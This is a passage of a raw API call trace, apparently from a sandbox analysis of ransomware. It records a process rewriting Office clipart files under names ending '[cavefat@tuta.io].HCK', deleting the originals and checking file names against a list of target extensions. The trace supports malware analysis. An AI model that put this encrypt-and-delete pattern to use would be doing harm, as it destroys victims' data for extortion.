office\\root\\clipart\\pub60cor\\j0153398.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0239.056] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.056] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.057] GetLastError () returned 0x0 [0239.057] ReadFile (in: hFile=0x3c4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x4464, lpOverlapped=0x0) returned 1 [0239.058] WriteFile (in: hFile=0x568, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x4470, lpOverlapped=0x0) returned 1 [0239.059] ReadFile (in: hFile=0x3c4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0239.060] WriteFile (in: hFile=0x568, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0239.230] SetEndOfFile (hFile=0x568) returned 1 [0239.231] CloseHandle (hObject=0x568) returned 1 [0239.231] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.231] SetEndOfFile (hFile=0x3c4) returned 1 [0239.236] CloseHandle (hObject=0x3c4) returned 1 [0239.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf")) returned 1 [0239.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0239.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0239.243] lstrlenW (lpString=".doc") returned 4 [0239.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.243] lstrlenW (lpString=".docx") returned 5 [0239.243] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0239.243] lstrlenW (lpString=".pdf") returned 4 [0239.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.243] lstrlenW (lpString=".xls") returned 4 [0239.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.243] lstrlenW (lpString=".xlsx") returned 5 [0239.243] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0239.243] lstrlenW (lpString=".ppt") returned 4 [0239.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0239.243] lstrlenW (lpString=".zip") returned 4 [0239.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.243] lstrlenW (lpString=".rar") returned 4 [0239.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.243] lstrlenW (lpString=".bz2") returned 4 [0239.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.243] lstrlenW (lpString=".7z") returned 3 [0239.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0239.243] lstrlenW (lpString=".dbf") returned 4 [0239.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0239.243] lstrlenW (lpString=".1cd") returned 4 [0239.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0239.243] lstrlenW (lpString=".jpg") returned 4 [0239.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0239.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0239.244] lstrlenW (lpString=".doc") returned 4 [0239.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.244] lstrlenW (lpString=".docx") returned 5 [0239.244] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0239.244] lstrlenW (lpString=".pdf") returned 4 [0239.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.244] lstrlenW (lpString=".xls") returned 4 [0239.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.244] lstrlenW (lpString=".xlsx") returned 5 [0239.244] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0239.244] lstrlenW (lpString=".ppt") returned 4 [0239.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0239.244] lstrlenW (lpString=".zip") returned 4 [0239.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.244] lstrlenW (lpString=".rar") returned 4 [0239.244] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.244] lstrlenW (lpString=".bz2") returned 4 [0239.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.244] lstrlenW (lpString=".7z") returned 3 [0239.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0239.244] lstrlenW (lpString=".dbf") returned 4 [0239.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0239.244] lstrlenW (lpString=".1cd") returned 4 [0239.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0239.244] lstrlenW (lpString=".jpg") returned 4 [0239.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.244] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.244] lstrlenW (lpString="J0153508.WMF") returned 12 [0239.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0239.246] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=34256) returned 1 [0239.246] CloseHandle (hObject=0x3c4) returned 1 [0239.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf")) returned 0x220 [0239.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0239.246] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.246] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.247] GetLastError () returned 0x0 [0239.247] ReadFile (in: hFile=0x3c4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x85d0, lpOverlapped=0x0) returned 1 [0239.249] WriteFile (in: hFile=0x568, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x85e0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x85e0, lpOverlapped=0x0) returned 1 [0239.250] ReadFile (in: hFile=0x3c4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0239.250] WriteFile (in: hFile=0x568, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0239.251] SetEndOfFile (hFile=0x568) returned 1 [0239.251] CloseHandle (hObject=0x568) returned 1 [0239.251] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.251] SetEndOfFile (hFile=0x3c4) returned 1 [0239.253] CloseHandle (hObject=0x3c4) returned 1 [0239.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf")) returned 1 [0239.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0239.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0239.254] lstrlenW (lpString=".doc") returned 4 [0239.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.254] lstrlenW (lpString=".docx") returned 5 [0239.254] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0239.254] lstrlenW (lpString=".pdf") returned 4 [0239.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.254] lstrlenW (lpString=".xls") returned 4 [0239.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.255] lstrlenW (lpString=".xlsx") returned 5 [0239.255] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0239.255] lstrlenW (lpString=".ppt") returned 4 [0239.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0239.255] lstrlenW (lpString=".zip") returned 4 [0239.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.255] lstrlenW (lpString=".rar") returned 4 [0239.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.255] lstrlenW (lpString=".bz2") returned 4 [0239.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.255] lstrlenW (lpString=".7z") returned 3 [0239.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0239.255] lstrlenW (lpString=".dbf") returned 4 [0239.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0239.255] lstrlenW (lpString=".1cd") returned 4 [0239.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0239.255] lstrlenW (lpString=".jpg") returned 4 [0239.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0239.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0239.255] lstrlenW (lpString=".doc") returned 4 [0239.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.255] lstrlenW (lpString=".docx") returned 5 [0239.255] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0239.255] lstrlenW (lpString=".pdf") returned 4 [0239.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.255] lstrlenW (lpString=".xls") returned 4 [0239.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.255] lstrlenW (lpString=".xlsx") returned 5 [0239.255] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0239.255] lstrlenW (lpString=".ppt") returned 4 [0239.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0239.255] lstrlenW (lpString=".zip") returned 4 [0239.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.256] lstrlenW (lpString=".rar") returned 4 [0239.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.256] lstrlenW (lpString=".bz2") returned 4 [0239.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.256] lstrlenW (lpString=".7z") returned 3 [0239.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0239.256] lstrlenW (lpString=".dbf") returned 4 [0239.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0239.256] lstrlenW (lpString=".1cd") returned 4 [0239.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0239.256] lstrlenW (lpString=".jpg") returned 4 [0239.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.256] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.256] lstrlenW (lpString="J0153514.WMF") returned 12 [0239.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0239.257] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=12752) returned 1 [0239.257] CloseHandle (hObject=0x3c4) returned 1 [0239.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf")) returned 0x220 [0239.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0239.258] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.258] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0239.259] GetLastError () returned 0x0 [0239.259] ReadFile (in: hFile=0x3c4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x31d0, lpOverlapped=0x0) returned 1 [0239.260] WriteFile (in: hFile=0x568, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x31e0, lpOverlapped=0x0) returned 1 [0239.261] ReadFile (in: hFile=0x3c4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0239.261] WriteFile (in: hFile=0x568, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0239.261] SetEndOfFile (hFile=0x568) returned 1 [0239.261] CloseHandle (hObject=0x568) returned 1 [0239.261] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0239.261] SetEndOfFile (hFile=0x3c4) returned 1 [0239.263] CloseHandle (hObject=0x3c4) returned 1 [0239.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf")) returned 1 [0239.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0239.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0239.265] lstrlenW (lpString=".doc") returned 4 [0239.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.265] lstrlenW (lpString=".docx") returned 5 [0239.265] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0239.265] lstrlenW (lpString=".pdf") returned 4 [0239.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.265] lstrlenW (lpString=".xls") returned 4 [0239.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.265] lstrlenW (lpString=".xlsx") returned 5 [0239.265] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0239.265] lstrlenW (lpString=".ppt") returned 4 [0239.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0239.265] lstrlenW (lpString=".zip") returned 4 [0239.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.265] lstrlenW (lpString=".rar") returned 4 [0239.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.265] lstrlenW (lpString=".bz2") returned 4 [0239.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.265] lstrlenW (lpString=".7z") returned 3 [0239.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0239.266] lstrlenW (lpString=".dbf") returned 4 [0239.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0239.266] lstrlenW (lpString=".1cd") returned 4 [0239.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0239.266] lstrlenW (lpString=".jpg") returned 4 [0239.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0239.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0239.266] lstrlenW (lpString=".doc") returned 4 [0239.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.266] lstrlenW (lpString=".docx") returned 5 [0239.266] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0239.266] lstrlenW (lpString=".pdf") returned 4 [0239.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.266] lstrlenW (lpString=".xls") returned 4 [0239.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.266] lstrlenW (lpString=".xlsx") returned 5 [0239.266] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0239.266] lstrlenW (lpString=".ppt") returned 4 [0239.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0239.266] lstrlenW (lpString=".zip") returned 4 [0239.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.266] lstrlenW (lpString=".rar") returned 4 [0239.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.266] lstrlenW (lpString=".bz2") returned 4 [0239.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.266] lstrlenW (lpString=".7z") returned 3 [0239.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0239.266] lstrlenW (lpString=".dbf") returned 4 [0239.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0239.267] lstrlenW (lpString=".1cd") returned 4 [0239.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0239.267] lstrlenW (lpString=".jpg") returned 4 [0239.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.267] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.267] lstrlenW (lpString="J0153516.WMF") returned 12 [0239.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0239.274] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=7432) returned 1 [0239.274] CloseHandle (hObject=0x3c4) returned 1 [0239.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf")) returned 0x220 [0239.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0239.591] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, 